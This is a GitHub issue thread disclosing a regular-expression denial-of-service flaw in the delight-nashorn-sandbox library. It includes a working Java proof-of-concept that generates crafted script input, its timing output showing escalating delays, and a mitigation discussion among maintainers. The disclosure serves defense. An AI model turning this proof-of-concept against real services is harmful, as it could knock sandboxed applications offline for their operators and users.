A ReDoS vulnerability can be exploited after version 0.2.0 #117

Open SugarP1g opened this issue on Aug 29, 2021 · 9 comments

SugarP1g commented on Aug 29, 2021

There is a weak expression can be exploited to launch a DOS attack.

```
private final static List<PoisonPil> POISON_PILLS = Arrays.asList(
        // every 10th statements ended with semicolon put interrupt checking function
        new PoisonPil(Pattern.compile("(([^;]+;){9}[^;]+(?<!break|continue);\\n(?![\\W]*(\\/\\/.+[\\W]+)*else))"),
                replacement: JS_INTERRUPTED_FUNCTION + "();\n"),
        // every (except switch) block start brace put interrupt checking function
        new PoisonPil(Pattern.compile("(\\s*for\\s*\\([^\\{]+\\)\\s*\\{)"), replacement: JS_INTERRUPTED_FUNCTION + "();"), // for
                                                                                                                  // with
                                                                                                                  // block
        new PoisonPil(Pattern.compile("(\\s*for\\s*\\([^\\{]+\\)\\s*[^\\{]+;)"), replacement: JS_INTERRUPTED_FUNCTION + "();"), // for
                                                                                                                  // without
```

Execution stack is as follow:

```
Frames
"main"@1 in group "main": RUNNING
injectInterruptionCalls:232, JsSanitizer (delight.nashornsandbox.internal)
secureJsImpl:281, JsSanitizer (delight.nashornsandbox.internal)
secureJs:260, JsSanitizer (delight.nashornsandbox.internal)
eval:229, NashornSandboxImpl (delight.nashornsandbox.internal)
eval:206, NashornSandboxImpl (delight.nashornsandbox.internal)
main:32, POC (com.sugarp1g.nashornSandbox)
```

POC:

```
public String getMatchStr(String regex, int repl) {
    Generex generex = new Generex(regex);
    // Generate random String
    String randomStr = generex.random();
    StringBuffer sb = new StringBuffer();
    sb.append(randomStr);
    sb.append(";\n");
    for (int i = 0; i < repl; i++) {
        sb.append("/");
    }
    return sb.toString();

}

public static void main(String[] args) throws ScriptException {
    NashornSandbox sandbox = NashornSandboxes.create();
    POC obj = new POC();
    for (int i = 1; i <= 50; i++) {
        long startTime = System.currentTimeMillis();
        String js_script = obj.getMatchStr( regex: "(([^;]+;){9}[^;]+)", i);
        try {
            Object x = sandbox.eval(js_script);
        } catch (Exception e) {

        }
        long endTime = System.currentTimeMillis();
        System.out.println("Cost time: " + (endTime - startTime) + " ms.");
    }
}
```

Run result:

```
Cost time: 10 ms.
Cost time: 9 ms.
Cost time: 15 ms.
Cost time: 11 ms.
Cost time: 12 ms.
Cost time: 14 ms.
Cost time: 19 ms.
Cost time: 8 ms.
Cost time: 34 ms.
Cost time: 51 ms.
Cost time: 70 ms.
Cost time: 105 ms.
Cost time: 176 ms.
Cost time: 289 ms.
Cost time: 472 ms.
Cost time: 684 ms.
Cost time: 6 ms.
Cost time: 8 ms.
Cost time: 2961 ms.
Cost time: 4818 ms.
Cost time: 7811 ms.
Cost time: 12500 ms.
```

mxro added a commit that referenced this issue on Sep 3, 2021

`Adding security issue #117 to Readme` `9c8c3f3`

mxro commented on Sep 3, 2021 — Collaborator

Thank you for raising this issue. Have added this to the Readme for the project until it is resolved.

Any ideas for resolving thie welcome.

I assume this can still be caught when setting an executor and max CPU time?

SugarP1g commented on Sep 3, 2021 • edited — Author

> Thank you for raising this issue. Have added this to the Readme for the project until it is resolved.
>
> Any ideas for resolving thie welcome.
>
> I assume this can still be caught when setting an executor and max CPU time?

Yes.

The cause of the problem is the defect of the regular engine.

This link can be referenced: https://checkmarx.com/wp-content/uploads/2015/03/ReDoS-Attacks.pdf

junweili commented on Aug 9

Hi **@mxro** , is there any plan to fix this in near term? It is listed under https://nvd.nist.gov/vuln/detail/CVE-2021-40660#match-8086489

Thank you

mxro commented on Aug 9 — Collaborator

Thanks for reaching out!

I guess the way forward here would be to replace the RegEx with more deterministic logic?

junweili commented on Aug 9

Yes, such complex RegEx is vulnerable. Out of curiosity about the reason of injecting interruption call by using POISON_PILLS, is this for the purpose of terminating script execution to cap cpu time?

mxro commented on Aug 9 — Collaborator

Yes, it's injecting a bit of code that triggers the test for how much CPU time is used.

However, there is an additional fallback the sandbox provides, in that it can do a hard shutdown of the thread as well. But using the injected statements should be smoother.

asilism commented on Oct 19

@mxro
How about remove all comment lines before run jsSanitizer?
I have commented on a similar issue in the past. (#108)

I didn't know the exact reason such as ReDoS, but I knew that "POISONPIL + Comments" was the cause.
So, I am using the logic to remove all comments in the code before eval(), and there has been no slowdown since then.

I don't know this approach is a real solution to this vulnerability, but I'm leaving a post in case it helps.

mxro commented on Oct 20 — Collaborator

@asilism Thank you for the idea!

So that would mean moving

https://github.com/javadelight/delight-nashorn-sandbox/blob/master/src/main/java/delight/nashornsandbox/internal/JsSanitizer.java#L201

to

delight-nashorn-sandbox/src/main/java/delight/nashornsandbox/internal/JsSanitizer.java
Line 279 in 23ba3d7

```
279     final String beautifiedJs = beautifyJs(js);
```

?

asilism commented on Oct 23

@mxro
Yes, before call beautifyJs.
but 2 Things must be clear. I think.

1) Does RemoveComments function completely remove all of comments line ?
2) it is necessary to confirm whether there is a need to change POISON_PIL regular expression.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants